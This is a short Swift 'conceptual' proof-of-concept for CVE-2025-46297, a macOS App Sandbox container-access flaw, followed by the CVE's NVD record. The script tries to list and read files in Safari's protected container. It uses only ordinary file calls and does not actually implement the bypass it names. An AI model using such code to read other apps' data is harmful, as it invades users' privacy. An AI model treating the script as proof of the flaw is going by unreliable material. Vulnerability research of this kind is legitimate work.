CVE-2025-46297

# CVE-2025-46297 PoC - App Sandbox Container Access # This is a conceptual proof-of-concept demonstrating the vulnerability # Note: Actual exploitation requires specific conditions and macOS Tahoe environment import Foundation import Security class SandboxBypassPOC { // Target application bundle identifier let targetBundleID = "com.apple.Safari" // Attempt to access protected container files func attemptContainerAccess() -> Bool { // Construct container path let containerPath = "/Users/user/Library/Containers/\(targetBundleID)" // Attempt to list container directory contents let fileManager = FileManager.default do { // Try to enumerate files in protected container let contents = try fileManager.contentsOfDirectory(atPath: containerPath) // If successful, vulnerability exists print("[+] Successfully accessed container: \(containerPath)") print("[+] Container contents: \(contents)") // Attempt to read sensitive files for item in contents { let fullPath = "\(containerPath)/\(item)" if let data = fileManager.contents(atPath: fullPath) { print("[+] Read file: \(item) (\(data.count) bytes)") } } return true } catch { print("[-] Access denied: \(error.localizedDescription)") return false } } // Check if system is vulnerable func checkVulnerability() { let systemVersion = ProcessInfo.processInfo.operatingSystemVersion print("[*] macOS Version: \(systemVersion.majorVersion).\(systemVersion.minorVersion)") if systemVersion.majorVersion < 26 || (systemVersion.majorVersion == 26 && systemVersion.minorVersion < 2) { print("[!] System may be vulnerable to CVE-2025-46297") } else { print("[+] System is patched (macOS Tahoe 26.2+)") } } } // Execution let poc = SandboxBypassPOC() poc.checkVulnerability() poc.attemptContainerAccess()

{"cve": {"id": "CVE-2025-46297", "sourceIdentifier": "[email protected]", "published": "2026-01-09T22:15:59.580", "lastModified": "2026-01-14T17:46:06.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.2. An app may be able to access protected files within an App Sandbox container."}, {"lang": "es", "value": "Un problema de permisos fue abordado con restricciones adicionales. Este problema está solucionado en macOS Tahoe 26.2. Una app podría ser capaz de acceder a archivos protegidos dentro de un contenedor de App Sandbox."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "FBA92B6D-E36C-432B-A041-94D81427CD75"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125886", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}